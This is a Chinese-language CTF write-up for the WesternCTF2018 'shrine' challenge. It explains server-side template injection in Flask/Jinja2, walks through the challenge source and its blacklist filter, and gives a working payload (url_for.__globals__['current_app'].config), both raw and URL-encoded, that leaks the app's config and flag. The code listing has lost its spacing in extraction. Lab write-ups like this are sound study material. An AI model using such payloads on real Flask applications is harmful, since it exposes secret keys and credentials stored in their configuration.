[WesternCTF2018]shrine-学习笔记

📅 2026/7/28 14:21:39 👁️ 阅读次数 📝 编程学习
[WesternCTF2018]shrine-学习笔记
    • 前置知识
      • 什么是 SSTI?
      • 什么是 Jinja2 模板?
    • 正文
      • 一、HTML代码审计
      • 二、Jinja2 过滤规则分析
      • 三、Jinja2 中通过 `current_app` 获取 Flag

前置知识

什么是 SSTI?

SSTI(Server-Side Template Injection,服务端模板注入)是指用户输入被直接拼接到模板中执行。网站后台Flask 默认使用 Jinja2 模板引擎,模板语法用{{ }}包裹表达式。如果用户可控的输入被直接传给render_template_string()渲染,就存在 SSTI 漏洞。

什么是 Jinja2 模板?

Jinja2 是 Python 的模板引擎,在网站后台Flask 中用于生成 HTML。常见的语法:

  • {{ expression }}— 输出表达式的值
  • {% statement %}— 执行控制语句(如 if、for、set)
  • |filter— 对值应用过滤器

正文

一、HTML代码审计

访问主页,CTRL+U会输出应用源码:

# ============================================# 1. 导入模块# ============================================importflask# Flask 核心框架,用于构建 Web 应用importos# 操作系统接口模块,用于读取环境变量# ============================================# 2. 创建 Flask 应用实例# ============================================app=flask.Flask(__name__)# __name__ 是当前模块名,Flask 用它来定位资源# 创建了一个名为 "app" 的 Flask 应用对象# ============================================# 3. 存储 Flag(核心目标)# ============================================app.config['FLAG']=os.environ.pop('FLAG')# os.environ 是一个字典,包含进程的所有环境变量# os.environ.pop('FLAG') 从环境变量中取出 FLAG 值,并从字典中删除# 这样做是为了防止通过 /proc/self/environ 等方式泄露# 最终 Flag 被安全地存储在 Flask app 的 config 字典中# ============================================# 4. 路由:首页(显示源码)# ============================================@app.route('/')# 注册路由:当访问根路径 "/" 时触发defindex():returnopen(__file__).read()# __file__ 是当前 Python 文件的路径# open(__file__).read() 读取当前文件的全部内容并返回# 这是一个"提示型"设计:让攻击者直接看到源码# ============================================# 5. 路由:SSTI 漏洞入口(核心攻击面)# ============================================@app.route('/shrine/<path:shrine>')# <path:shrine> 是 Flask 的路径转换器# path 类型会捕获 URL 中 /shrine/ 后面的所有内容(包括斜杠)# 例如:/shrine/{{7*7}} → shrine 参数值为 "{{7*7}}"# /shrine/a/b/c → shrine 参数值为 "a/b/c"defshrine(shrine):# shrine 函数接收用户输入作为参数defsafe_jinja(s):# 定义一个"安全检查"函数(实际上不安全)s=s.replace('(','').replace(')','')# 将用户输入中的括号全部移除# 目的:阻止函数调用,如 {{config}} → 不能调用 config()# 绕过思路:用 [] 下标访问代替函数调用blacklist=['config','self']# 黑名单:禁止使用 config 和 self 这两个变量名return''.join(['{% set {}=None%}'.format(c)forcinblacklist])+s# 这段代码很精巧!它会在用户输入前面拼接 Jinja2 的 set 语句# 拼接后实际变成:{% set config=None%}{% set self=None%} + 用户输入# 目的:把 config 和 self 这两个模板变量强行设为空值# 绕过思路:用 app.config(属性访问)代替 config(变量访问)returnflask.render_template_string(safe_jinja(shrine))# 这是漏洞的核心!# safe_jinja() 处理后的用户输入被直接传给 render_template_string()# render_template_string() 会将字符串作为 Jinja2 模板来渲染# 如果用户输入了 {{ }} 包裹的内容,就会被 Jinja2 引擎执行# 这就是 SSTI(服务端模板注入)漏洞# ============================================# 6. 程序入口# ============================================if__name__=='__main__:# 当脚本直接运行时(而非被 import),启动 Flask 开发服务器app.run(debug=True)# debug=True 开启调试模式,出错时显示详细信息,监听默认端口 5000

二、Jinja2 过滤规则分析

过滤项作用绕过方式
()被替换为空禁止调用函数(如__subclasses__()[]下标访问字典、用.访问属性
{% set config=None%}将模板变量config设为 Noneapp.config访问 Python 属性(不受变量遮蔽影响)
{% set self=None%}将模板变量self设为 None不用self即可

关键理解{% set config=None%}只是把 Jinja2 模板变量config设为空,但app.config是通过 Python 属性访问(app对象下的config属性),两者完全不同,所以不受影响。

所以可以得出SSTI 漏洞的触发链

用户请求: GET /shrine/{{7*7}}↓ Flask 路由匹配: shrine 参数="{{7*7}}"↓ safe_jinja("{{7*7}}")"{% set config=None%}{% set self=None%}{{7*7}}"↓ render_template_string()将字符串作为 Jinja2 模板执行 ↓ Jinja2 引擎解析{{7*7}}→ 计算7*7 → 输出"49"↓ HTTP 响应返回"49"

所以就可以得出攻击思路:

目标:读取 app.config['FLAG']│ ├─ 路径1:{{config}}→ ❌ 被{%setconfig=None%}过滤 │ ├─ 路径2:{{app.config}}→ ❌ app 不在 Jinja2 全局变量中 │ ❌ 括号被过滤 └─ 路径3:{{url_for.__globals__["current_app"].config}}✅ 成功!用[]代替(),用 url_for 间接访问 Flask 全局

Python函数有一个__globals__属性,返回该函数所在模块的全局变量字典:

GET /shrine/{{url_for.__globals__}} HTTP/1.1


响应返回了大量 Flask 内部变量,其中包含:

  • current_app: <Flask 'app'>— 当前 Flask 应用对象
  • session: <NullSession {}>— Session 对象等等

三、Jinja2 中通过current_app获取 Flag

Flask 应用中,配置信息存储在app.config字典中。我们可以用[]下标操作访问__globals__字典中的current_app(注意()被过滤了,但[]不受影响):

GET/shrine/{{url_for.__globals__["current_app"].config}}HTTP/1.1

URL 编码后

/shrine/{{url_for.__globals__%5b%22current_app%22%5d.config}}

响应的关键部分

CTF2{30503f82-2e5d-4bfe-969c-7d4a29a9e6e2}